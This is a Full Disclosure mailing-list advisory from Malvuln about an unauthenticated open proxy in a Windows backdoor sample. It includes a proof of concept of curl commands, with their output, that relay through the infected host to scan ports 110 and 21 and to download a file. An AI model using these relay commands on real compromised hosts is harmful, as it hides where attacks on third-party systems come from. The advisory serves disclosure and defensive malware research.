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Date: Sun, 18 Jul 2021 02:09:23 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] HEUR.Backdoor.Win32.Generic / Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/f2b5429feaa7d229418cf499ce5f5822.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Generic
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 1080, 8080. Third-party
attackers who can connect to the infected system can relay requests from
the original connection to the destination and then back to the origination
system. Attackers may then be able to launch attacks, download files or
port scan third party systems and it will appear as the attacks originated
from that infected host.
Type: PE32
MD5: f2b5429feaa7d229418cf499ce5f5822
Vuln ID: MVID-2021-0294
Dropped files: system.dll
Disclosure: 07/18/2021

Exploit/PoC:
Scan port 110)

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <19486.1626574693@...3host>
-ERR Unknown command.
-ERR Unknown command.

Scan port 21)

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

Download filez)

curl http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128"  --out
DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01
 102k


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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